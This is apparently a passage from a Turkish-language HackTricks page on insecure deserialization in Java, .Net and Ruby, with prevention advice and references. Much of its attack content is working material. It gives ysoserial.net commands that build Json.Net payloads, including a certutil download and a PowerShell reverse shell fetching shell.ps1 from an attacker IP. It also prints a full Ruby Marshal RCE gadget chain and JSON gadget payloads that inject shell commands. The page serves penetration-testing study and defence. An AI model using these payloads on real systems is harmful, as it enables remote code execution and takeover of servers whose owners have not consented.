Implementing Serialization Filters: Java 9, ObjectInputFilter
arayüzü aracılığıyla serialization filters'ı tanıttı; bu, serileştirilmiş nesnelerin deserialization'dan önce karşılaması gereken kriterleri belirtmek için güçlü bir mekanizma sağlar. Bu filtreler global olarak veya her bir stream için uygulanabilir ve deserialization süreci üzerinde ayrıntılı kontrol sunar.
Serialization filters'ı kullanmak için, tüm deserialization işlemlerine uygulanan bir global filtre ayarlayabilir veya belirli stream'ler için dinamik olarak yapılandırabilirsiniz. Örneğin:
ObjectInputFilter filter = info -> {
if (info.depth() > MAX_DEPTH) return Status.REJECTED; // Limit object graph depth
if (info.references() > MAX_REFERENCES) return Status.REJECTED; // Limit references
if (info.serialClass() != null && !allowedClasses.contains(info.serialClass().getName())) {
return Status.REJECTED; // Restrict to allowed classes
}
return Status.ALLOWED;
};
ObjectInputFilter.Config.setSerialFilter(filter);
Harici Kütüphanelerden Yararlanarak Geliştirilmiş Güvenlik: NotSoSerial, jdeserialize ve Kryo gibi kütüphaneler, Java deserialization süreçlerini kontrol etmek ve izlemek için gelişmiş özellikler sunar. Bu kütüphaneler, sınıfları whitelist/blacklist ile sınırlama, deserialization öncesi serialized objeleri analiz etme ve özel serialization stratejileri uygulama gibi ek güvenlik katmanları sağlayabilir.
- NotSoSerial deserialization süreçlerini keserek güvenilmeyen kodun çalışmasını engeller.
- jdeserialize serialized Java objelerini deserialize etmeden analiz etmeye izin vererek potansiyel kötü amaçlı içeriği tespit etmeye yardımcı olur.
- Kryo hız ve verimliliğe vurgu yapan alternatif bir serialization framework'üdür; güvenliği artırabilecek yapılandırılabilir serialization stratejileri sunar.
Kaynaklar
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html
- Deserialization and ysoserial talk: http://frohoff.github.io/appseccali-marshalling-pickles/
- https://foxglovesecurity.com/2015/11/06/what-do-weblogic-websphere-jboss-jenkins-opennms-and-your-application-have-in-common-this-vulnerability/
- https://www.youtube.com/watch?v=VviY3O-euVQ
- Talk about gadgetinspector: https://www.youtube.com/watch?v=wPbW6zQ52w8 and slides: https://i.blackhat.com/us-18/Thu-August-9/us-18-Haken-Automated-Discovery-of-Deserialization-Gadget-Chains.pdf
- Marshalsec paper: https://www.github.com/mbechler/marshalsec/blob/master/marshalsec.pdf?raw=true
- https://dzone.com/articles/why-runtime-compartmentalization-is-the-most-compr
- https://deadcode.me/blog/2016/09/02/Blind-Java-Deserialization-Commons-Gadgets.html
- https://deadcode.me/blog/2016/09/18/Blind-Java-Deserialization-Part-II.html
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- Deserialziations CVEs: https://paper.seebug.org/123/
JNDI Injection & log4Shell
Aşağıdaki sayfada JNDI Injection'ın ne olduğunu, RMI, CORBA & LDAP aracılığıyla nasıl kötüye kullanılabileceğini ve log4shell'in nasıl exploit edileceğini (ve bu vuln için örnek) bulun:
JNDI - Java Naming and Directory Interface & Log4Shell
JMS - Java Message Service
The Java Message Service (JMS) API is a Java message-oriented middleware API for sending messages between two or more clients. It is an implementation to handle the producer–consumer problem. JMS is a part of the Java Platform, Enterprise Edition (Java EE), and was defined by a specification developed at Sun Microsystems, but which has since been guided by the Java Community Process. It is a messaging standard that allows application components based on Java EE to create, send, receive, and read messages. It allows the communication between different components of a distributed application to be loosely coupled, reliable, and asynchronous. (From Wikipedia).
Products
Bu middleware'i mesaj göndermek için kullanan çeşitli ürünler vardır:
Exploitation
Temelde JMS'i tehlikeli bir şekilde kullanan bir dizi servis vardır. Bu nedenle, bu servislere mesaj gönderecek kadar yetkiye (genellikle geçerli kimlik bilgileri gerekir) sahipseniz, consumer/subscriber tarafından deserialized edilecek şekilde kötü amaçlı serialized objeler gönderebilirsiniz.
Bu, bu istismarda mesajı kullanacak tüm istemcilerin enfekte olacağı anlamına gelir.
Bir servisin (kullanıcı girdisini güvensiz şekilde deserializing ettiği için) vuln olması durumunda bile, vuln'ü exploit edebilmek için geçerli gadget'ları bulmanız gerektiğini unutmayın.
JMET aracı, bu servislere bağlanıp bilinen gadget'ları kullanarak birçok kötü amaçlı serialized obje göndererek saldırmak için oluşturulmuştur. Bu exploit'ler, servis hâlâ vulnerable ise ve kullanılan gadget'lardan herhangi biri vuln uygulama içinde mevcutsa çalışacaktır.
References
-
Patchstack advisory – Everest Forms unauthenticated PHP Object Injection (CVE-2025-52709)
-
JMET talk: https://www.youtube.com/watch?v=0h8DWiOWGGA
.Net
.Net bağlamında, deserialization exploit'leri Java'dakine benzer şekilde çalışır; burada gadget'lar, bir nesnenin deserialization sırasında belirli kodun çalıştırılması için kötüye kullanılır.
Fingerprint
WhiteBox
Kaynak kod, aşağıdaki ögelerin varlığı açısından incelenmelidir:
TypeNameHandling
JavaScriptTypeResolver
Odak, tipi kullanıcının kontrolündeki bir değişken tarafından belirlenmesine izin veren serializer'lar olmalıdır.
BlackBox
Arama, sunucu tarafında deserializasyona uğrayabilecek ve deserialized edilecek tipi kontrol etme imkanı sağlayabilecek Base64 encode edilmiş AAEAAAD///// dizgisine veya benzer paternlere yönelik olmalıdır. Bu JSON veya XML yapıları gibi, TypeObject
veya $type
içeren yapıları da kapsayabilir.
ysoserial.net
Bu durumda deserialization exploit'leri oluşturmak için ysoserial.net aracını kullanabilirsiniz. Git deposunu indirdikten sonra aracı örneğin Visual Studio kullanarak compile etmelisiniz.
ysoserial.net'in nasıl exploit oluşturduğunu öğrenmek isterseniz ObjectDataProvider gadget + ExpandedWrapper + Json.Net formatter'ın açıklandığı bu sayfayı inceleyebilirsiniz.
ysoserial.net'in ana seçenekleri: --gadget
, --formatter
, --output
ve --plugin
.
--gadget
abuse edilecek gadget'ı belirtmek için kullanılır (deserialization sırasında komut çalıştırmak için kullanılacak sınıf/fonksiyonu belirtir).--formatter
exploit'i serialize etmek için kullanılacak yöntemi belirtmek içindir (payload'u deserializing eden backend'in hangi kütüphaneyi kullandığını bilip aynı formatter'ı kullanmanız gerekir).--output
exploit'in raw mı yoksa base64 olarak mı çıkacağını belirtir. Not: ysoserial.net payload'u varsayılan olarak Windows'ta kullanılan UTF-16LE ile encode edecektir; bu yüzden raw alıp bir Linux konsolundan sadece encode ederseniz bazı encoding uyumluluk sorunları yaşayabilir ve bu da exploit'ün düzgün çalışmasını engelleyebilir (HTB JSON kutusunda payload hem UTF-16LE hem ASCII'de çalıştı ancak bu her zaman böyle olacağı anlamına gelmez).--plugin
ysoserial.net, ViewState gibi belirli framework'ler için exploit'ler oluşturacak plugin'leri destekler.
More ysoserial.net parameters
--minify
mümkünse daha küçük bir payload sağlar--raf -f Json.Net -c "anything"
Bu, sağlanan formatter (Json.Net
bu durumda) ile kullanılabilecek tüm gadget'ları gösterecektir--sf xml
bir gadget (-g
) belirtebilir ve ysoserial.net "xml" içeren (büyük/küçük harf duyarsız) formatter'ları arayacaktır
ysoserial examples to create exploits:
#Send ping
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "ping -n 5 10.10.14.44" -o base64
#Timing
#I tried using ping and timeout but there wasn't any difference in the response timing from the web server
#DNS/HTTP request
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "nslookup sb7jkgm6onw1ymw0867mzm2r0i68ux.burpcollaborator.net" -o base64
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "certutil -urlcache -split -f http://rfaqfsze4tl7hhkt5jtp53a1fsli97.burpcollaborator.net/a a" -o base64
#Reverse shell
#Create shell command in linux
echo -n "IEX(New-Object Net.WebClient).downloadString('http://10.10.14.44/shell.ps1')" | iconv -t UTF-16LE | base64 -w0
#Create exploit using the created B64 shellcode
ysoserial.exe -g ObjectDataProvider -f Json.Net -c "powershell -EncodedCommand SQBFAFgAKABOAGUAdwAtAE8AYgBqAGUAYwB0ACAATgBlAHQALgBXAGUAYgBDAGwAaQBlAG4AdAApAC4AZABvAHcAbgBsAG8AYQBkAFMAdAByAGkAbgBnACgAJwBoAHQAdABwADoALwAvADEAMAAuADEAMAAuADEANAAuADQANAAvAHMAaABlAGwAbAAuAHAAcwAxACcAKQA=" -o base64
ysoserial.net ayrıca her exploit'in nasıl çalıştığını daha iyi anlamaya yardımcı olan çok ilginç bir parametreye sahiptir: --test
Eğer bu parametreyi belirtirseniz ysoserial.net exploit'i yerel olarak deneyecek, böylece payload'unuzun doğru çalışıp çalışmayacağını test edebilirsiniz.
Bu parametre yararlıdır çünkü kodu incelerseniz aşağıdaki gibi kod parçaları bulursunuz (şu dosyadan: ObjectDataProviderGenerator.cs):
if (inputArgs.Test)
{
try
{
SerializersHelper.JsonNet_deserialize(payload);
}
catch (Exception err)
{
Debugging.ShowErrors(inputArgs, err);
}
}
Bu, exploit'i test etmek için kodun serializersHelper.JsonNet_deserialize çağıracağı anlamına gelir.
public static object JsonNet_deserialize(string str)
{
Object obj = JsonConvert.DeserializeObject<Object>(str, new JsonSerializerSettings
{
TypeNameHandling = TypeNameHandling.Auto
});
return obj;
}
In the previous code is vulnerable to the exploit created. So if you find something similar in a .Net application it means that probably that application is vulnerable too.
Therefore the --test
parameter allows us to understand which chunks of code are vulnerable to the desrialization exploit that ysoserial.net can create.
ViewState
Bu POST'a göz atın: .Net'in __ViewState parametresini nasıl exploit etmeyi deneyeceğiniz ve keyfi kod çalıştırmak için. Eğer hedef makinede kullanılan secret'ları zaten biliyorsanız, kod çalıştırmayı bilmek için bu yazıyı okuyun.
Prevention
Deserialization ile ilişkili riskleri azaltmak için .Net tarafında şunları yapın:
- Allowing data streams to define their object types'a izin vermeyin. Mümkün olduğunda
DataContractSerializer
veyaXmlSerializer
kullanın. JSON.Net
içinTypeNameHandling
'iNone
olarak ayarlayın:TypeNameHandling = TypeNameHandling.None
JavaScriptSerializer
'ı birJavaScriptTypeResolver
ile kullanmaktan kaçının.- Deserializable olabilecek tipleri sınırlayın;
System.IO.FileInfo
gibi .Net tiplerinin sunucu dosyalarının özelliklerini değiştirebileceğini ve potansiyel olarak denial of service saldırılarına yol açabileceğini unutmayın. - Riskli özelliklere sahip tiplere dikkat edin, örneğin
System.ComponentModel.DataAnnotations.ValidationException
'ınValue
özelliği kötü amaçla kullanılabilir. - Type instantiation'ı güvenli şekilde kontrol edin ki saldırganlar deserialization sürecini etkilemesin; aksi takdirde
DataContractSerializer
veyaXmlSerializer
bile savunmasız hale gelebilir. - Custom
SerializationBinder
kullanarak white list kontrolleri uygulayın (BinaryFormatter
veJSON.Net
için). - .Net içindeki bilinen insecure deserialization gadget'larından haberdar olun ve deserializer'ların bu tür tipleri instantiate etmediğinden emin olun.
- Potansiyel olarak riskli kodu, internete erişimi olan koddan izole edin ki WPF uygulamalarındaki
System.Windows.Data.ObjectDataProvider
gibi bilinen gadget'lar untrusted veri kaynaklarına maruz kalmasın.
References
- Java and .Net JSON deserialization paper: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-JSON-Attacks-wp.pdf, talk: https://www.youtube.com/watch?v=oUAeWhW5b8c and slides: https://www.blackhat.com/docs/us-17/thursday/us-17-Munoz-Friday-The-13th-Json-Attacks.pdf
- https://cheatsheetseries.owasp.org/cheatsheets/Deserialization_Cheat_Sheet.html#net-csharp
- https://media.blackhat.com/bh-us-12/Briefings/Forshaw/BH_US_12_Forshaw_Are_You_My_Type_WP.pdf
- https://www.slideshare.net/MSbluehat/dangerous-contents-securing-net-deserialization
Ruby
Ruby'de serileştirme, marshal kütüphanesindeki iki metodla sağlanır. Birinci metod olan dump, bir objeyi byte stream'e dönüştürmek için kullanılır; bu işleme serileştirme denir. İkinci metod olan load ise bir byte stream'i tekrar objeye çevirmek için kullanılır; bu işleme deserialization denir.
Serileştirilmiş objeleri güvence altına almak için Ruby, HMAC (Hash-Based Message Authentication Code) kullanır; bu, verinin bütünlüğünü ve kaynağının doğruluğunu sağlar. Bu amaçla kullanılan anahtar aşağıdaki yerlerden birinde saklanıyor olabilir:
config/environment.rb
config/initializers/secret_token.rb
config/secrets.yml
/proc/self/environ
Ruby 2.X generic deserialization to RCE gadget chain (more info in https://www.elttam.com/blog/ruby-deserialization/):
#!/usr/bin/env ruby
# Code from https://www.elttam.com/blog/ruby-deserialization/
class Gem::StubSpecification
def initialize; end
end
stub_specification = Gem::StubSpecification.new
stub_specification.instance_variable_set(:@loaded_from, "|id 1>&2")#RCE cmd must start with "|" and end with "1>&2"
puts "STEP n"
stub_specification.name rescue nil
puts
class Gem::Source::SpecificFile
def initialize; end
end
specific_file = Gem::Source::SpecificFile.new
specific_file.instance_variable_set(:@spec, stub_specification)
other_specific_file = Gem::Source::SpecificFile.new
puts "STEP n-1"
specific_file <=> other_specific_file rescue nil
puts
$dependency_list= Gem::DependencyList.new
$dependency_list.instance_variable_set(:@specs, [specific_file, other_specific_file])
puts "STEP n-2"
$dependency_list.each{} rescue nil
puts
class Gem::Requirement
def marshal_dump
[$dependency_list]
end
end
payload = Marshal.dump(Gem::Requirement.new)
puts "STEP n-3"
Marshal.load(payload) rescue nil
puts
puts "VALIDATION (in fresh ruby process):"
IO.popen("ruby -e 'Marshal.load(STDIN.read) rescue nil'", "r+") do |pipe|
pipe.print payload
pipe.close_write
puts pipe.gets
puts
end
puts "Payload (hex):"
puts payload.unpack('H*')[0]
puts
require "base64"
puts "Payload (Base64 encoded):"
puts Base64.encode64(payload)
Ruby On Rails'i exploit etmek için başka bir RCE zinciri: https://codeclimate.com/blog/rails-remote-code-execution-vulnerability-explained/
Ruby .send() method
this vulnerability report içinde açıklandığı gibi, eğer bazı kullanıcılardan gelen unsanitized input bir ruby nesnesinin .send()
metoduna ulaşırsa, bu metot nesnenin herhangi bir diğer metodunu herhangi bir parametre ile çağırmaya izin verir.
Örneğin, eval çağrısı yapıp ikinci parametre olarak ruby code verirseniz herhangi bir kodu çalıştırmanıza izin verir:
<Object>.send('eval', '<user input with Ruby code>') == RCE
Dahası, eğer bir saldırgan sadece .send()
'in tek bir parametresini kontrol ediyorsa, önceki yazıda belirtildiği gibi, nesnenin argüman gerektirmeyen veya argümanlarının varsayılan değerleri olan herhangi bir metodunu çağırmak mümkündür.
Bunun için, nesnenin tüm metotlarını listeleyerek bu gereksinimleri karşılayan bazı ilginç metotları bulmak mümkündür.
<Object>.send('<user_input>')
# This code is taken from the original blog post
# <Object> in this case is Repository
## Find methods with those requirements
repo = Repository.find(1) # get first repo
repo_methods = [ # get names of all methods accessible by Repository object
repo.public_methods(),
repo.private_methods(),
repo.protected_methods(),
].flatten()
repo_methods.length() # Initial number of methods => 5542
## Filter by the arguments requirements
candidate_methods = repo_methods.select() do |method_name|
[0, -1].include?(repo.method(method_name).arity())
end
candidate_methods.length() # Final number of methods=> 3595
Ruby class pollution
Nasıl mümkün olabileceğini görmek için pollute a Ruby class and abuse it in here sayfasını inceleyin.
Ruby _json pollution
Bir body içinde array gibi hash'lenebilir olmayan bazı değerler gönderildiğinde, bunlar _json
adında yeni bir anahtara eklenir. Ancak, bir saldırgan body içinde istediği rastgele değerleri içeren _json
adlı bir değer de ayarlayabilir. Ardından, örneğin backend bir parametrenin doğruluğunu kontrol edip daha sonra _json
parametresini bir işlem yapmak için kullanıyorsa, bir authorisation bypass gerçekleştirilebilir.
Daha fazla bilgi için Ruby _json pollution page sayfasına bakın.
Diğer kütüphaneler
Bu teknik from this blog post alınmıştır.
Nesneleri serialize etmek için kullanılabilen ve bu nedenle insecure deserialization sırasında RCE elde etmek için istismar edilebilecek başka Ruby kütüphaneleri de vardır. Aşağıdaki tablo, bu kütüphanelerden bazılarını ve nesne unserialize edildiğinde çağrılan library içindeki metodu gösterir (temelde RCE elde etmek için istismar edilecek fonksiyon):
Kütüphane | Girdi | Sınıf içindeki tetikleyici metod |
Marshal (Ruby) | İkili | _load |
Oj | JSON | hash (sınıf anahtar olarak hash(map) içine konulmalıdır) |
Ox | XML | hash (sınıf anahtar olarak hash(map) içine konulmalıdır) |
Psych (Ruby) | YAML | hash (sınıf anahtar olarak hash(map) içine konulmalıdır)init_with |
JSON (Ruby) | JSON | json_create ([see notes regarding json_create at end](#table-vulnerable-sinks)) |
Basic example:
# Existing Ruby class inside the code of the app
class SimpleClass
def initialize(cmd)
@cmd = cmd
end
def hash
system(@cmd)
end
end
# Exploit
require 'oj'
simple = SimpleClass.new("open -a calculator") # command for macOS
json_payload = Oj.dump(simple)
puts json_payload
# Sink vulnerable inside the code accepting user input as json_payload
Oj.load(json_payload)
Oj'yi kötüye kullanmaya çalışırken, içinde hash
fonksiyonunun to_s
'i çağıracağı, bunun da spec'i, onun da fetch_path'i çağıracağı bir gadget class bulmak mümkündü; fetch_path'i rastgele bir URL'yi getirecek şekilde yaptırmak mümkün olduğu için bu, bu tür unsanitized deserialization vulnerabilities için harika bir detector sağlıyordu.
{
"^o": "URI::HTTP",
"scheme": "s3",
"host": "example.org/anyurl?",
"port": "anyport",
"path": "/",
"user": "anyuser",
"password": "anypw"
}
Ayrıca, önceki teknikle sistemde bir klasörün de oluşturulduğu tespit edildi; bu, bunu tam bir RCE'ye dönüştürmek için başka bir gadget'ı suistimal etmek adına bir gerekliliktir; örneğin:
{
"^o": "Gem::Resolver::SpecSpecification",
"spec": {
"^o": "Gem::Resolver::GitSpecification",
"source": {
"^o": "Gem::Source::Git",
"git": "zip",
"reference": "-TmTT=\"$(id>/tmp/anyexec)\"",
"root_dir": "/tmp",
"repository": "anyrepo",
"name": "anyname"
},
"spec": {
"^o": "Gem::Resolver::Specification",
"name": "name",
"dependencies": []
}
}
}
Check for more details in the original post.
Bootstrap Önbellekleme
Not really a desearilization vuln but a nice trick to abuse bootstrap caching to to get RCE from a rails application with an arbitrary file write (find the complete original post in here).
Aşağıda Bootsnap önbelleklemesini suistimal ederek arbitrary file write zafiyetini exploit etme konusunda makalede detaylandırılan adımların kısa bir özeti bulunmaktadır:
- Zafiyeti ve Ortamı Belirleyin
Rails uygulamasının dosya yükleme fonksiyonu bir saldırganın dosyaları arbitrary olarak yazmasına izin veriyor. Uygulama kısıtlamalarla çalışsa bile (Docker’ın non-root kullanıcısı nedeniyle sadece tmp gibi belirli dizinler yazılabilir), bu yine de Bootsnap cache dizinine yazmayı (genellikle tmp/cache/bootsnap altında) mümkün kılar.
- Bootsnap’in Önbellek Mekanizmasını Anlayın
Bootsnap, Rails’in başlatma sürelerini kısaltmak için derlenmiş Ruby kodu, YAML ve JSON dosyalarını cache’ler. Cache dosyaları, bir cache key header’ı (Ruby versiyonu, dosya boyutu, mtime, compile options vb. alanları içeren) ve ardından derlenmiş kodu içerir. Bu header, uygulama başlatılırken cache’in doğrulanması için kullanılır.
- Dosya Meta Verilerini Toplayın
Saldırgan önce Rails başlatılma sırasında yüklenmesi muhtemel bir hedef dosya seçer (örneğin Ruby’nin standart kütüphanesinden set.rb). Container içinde Ruby kodu çalıştırarak gerekli meta verileri (RUBY_VERSION, RUBY_REVISION, size, mtime ve compile_option gibi) çıkarır. Bu veriler geçerli bir cache key oluşturmak için gereklidir.
- Cache Dosyası Yolunu Hesaplayın
Bootsnap’in FNV-1a 64-bit hash mekanizmasını taklit ederek doğru cache dosyası yolu belirlenir. Bu adım, kötü amaçlı cache dosyasının Bootsnap’in beklediği yere tam olarak yerleştirilmesini sağlar (ör. tmp/cache/bootsnap/compile-cache-iseq/).
- Kötü Amaçlı Cache Dosyasını Hazırlayın
Saldırgan aşağıdaki işlevleri içeren bir payload hazırlar:
- Executes arbitrary commands (for example, running id to show process info).
- Kötü amaçlı cache’i yürütmeden sonra recursive exploitation’u önlemek için siler.
- Uygulamanın çökmesini önlemek için orijinal dosyayı (ör. set.rb) yükler.
Bu payload ikili Ruby koduna derlenir ve önceden toplanan meta veriler ve doğru Bootsnap versiyon numarası kullanılarak özenle oluşturulmuş bir cache key header’ı ile birleştirilir.
- Üzerine Yazma ve Yürütmeyi Tetikleme
Arbitrary file write zafiyeti kullanılarak saldırgan hazırlanan cache dosyasını hesaplanan konuma yazar. Ardından sunucu yeniden başlatılması tetiklenir (Puma tarafından izlenen tmp/restart.txt dosyasına yazılarak). Yeniden başlatma sırasında Rails hedeflenen dosyayı require ettiğinde, kötü amaçlı cache dosyası yüklenir ve RCE gerçekleşir.
Ruby Marshal exploitation in practice (updated)
Treat any path where untrusted bytes reach Marshal.load
/marshal_load
as an RCE sink. Marshal reconstructs arbitrary object graphs and triggers library/gem callbacks during materialization.
- Minimal vulnerable Rails code path:
class UserRestoreController < ApplicationController
def show
user_data = params[:data]
if user_data.present?
deserialized_user = Marshal.load(Base64.decode64(user_data))
render plain: "OK: #{deserialized_user.inspect}"
else
render plain: "No data", status: :bad_request
end
end
end
- Gerçek zincirlerde görülen yaygın gadget sınıfları:
Gem::SpecFetcher
,Gem::Version
,Gem::RequestSet::Lockfile
,Gem::Resolver::GitSpecification
,Gem::Source::Git
. - payloads içine gömülen tipik yan etki belirteci (unmarshal sırasında yürütülen):
*-TmTT="$(id>/tmp/marshal-poc)"any.zip
Gerçek uygulamalarda nerede ortaya çıkar:
- Tarihsel olarak Marshal kullanan Rails cache ve session store'ları
- Background job backends ve dosya tabanlı nesne depoları
- İkili nesne blob'larının özel olarak saklanması veya taşınması
Endüstrileştirilmiş gadget keşfi:
- constructor'lar,
hash
,_load
,init_with
veya unmarshal sırasında çağrılan yan etki oluşturan metodlar için grep atın - CodeQL’in Ruby unsafe deserialization sorgularını kullanarak kaynakları → sinks şeklinde izleyin ve gadget'ları ortaya çıkarın
- Herkese açık çok formatlı PoC'larla doğrulayın (JSON/XML/YAML/Marshal)
Referanslar
- Trail of Bits – Marshal madness: A brief history of Ruby deserialization exploits: https://blog.trailofbits.com/2025/08/20/marshal-madness-a-brief-history-of-ruby-deserialization-exploits/
- elttam – Ruby 2.x Universal RCE Deserialization Gadget Chain: https://www.elttam.com/blog/ruby-deserialization/
- Phrack #69 – Rails 3/4 Marshal chain: https://phrack.org/issues/69/12.html
- CVE-2019-5420 (Rails 5.2 insecure deserialization): https://nvd.nist.gov/vuln/detail/CVE-2019-5420
- ZDI – RCE via Ruby on Rails Active Storage insecure deserialization: https://www.zerodayinitiative.com/blog/2019/6/20/remote-code-execution-via-ruby-on-rails-active-storage-insecure-deserialization
- Include Security – Discovering gadget chains in Rubyland: https://blog.includesecurity.com/2024/03/discovering-deserialization-gadget-chains-in-rubyland/
- GitHub Security Lab – Ruby unsafe deserialization (query help): https://codeql.github.com/codeql-query-help/ruby/rb-unsafe-deserialization/
- GitHub Security Lab – PoCs repo: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization
- Doyensec PR – Ruby 3.4 gadget: https://github.com/GitHubSecurityLab/ruby-unsafe-deserialization/pull/1
- Luke Jahnke – Ruby 3.4 universal chain: https://nastystereo.com/security/ruby-3.4-deserialization.html
- Luke Jahnke – Gem::SafeMarshal escape: https://nastystereo.com/security/ruby-safe-marshal-escape.html
- Ruby 3.4.0-rc1 release: https://github.com/ruby/ruby/releases/tag/v3_4_0_rc1
- Ruby fix PR #12444: https://github.com/ruby/ruby/pull/12444
- Trail of Bits – Auditing RubyGems.org (Marshal findings): https://blog.trailofbits.com/2024/12/11/auditing-the-ruby-ecosystems-central-package-repository/
- watchTowr Labs – Is This Bad? This Feels Bad — GoAnywhere CVE-2025-10035: https://labs.watchtowr.com/is-this-bad-this-feels-bad-goanywhere-cve-2025-10035/
tip
AWS Hacking'i öğrenin ve pratik yapın:HackTricks Training AWS Red Team Expert (ARTE)
GCP Hacking'i öğrenin ve pratik yapın: HackTricks Training GCP Red Team Expert (GRTE)
Azure Hacking'i öğrenin ve pratik yapın:
HackTricks Training Azure Red Team Expert (AzRTE)
HackTricks'i Destekleyin
- abonelik planlarını kontrol edin!
- 💬 Discord grubuna veya telegram grubuna katılın ya da Twitter'da bizi takip edin 🐦 @hacktricks_live.**
- Hacking ipuçlarını paylaşmak için HackTricks ve HackTricks Cloud github reposuna PR gönderin.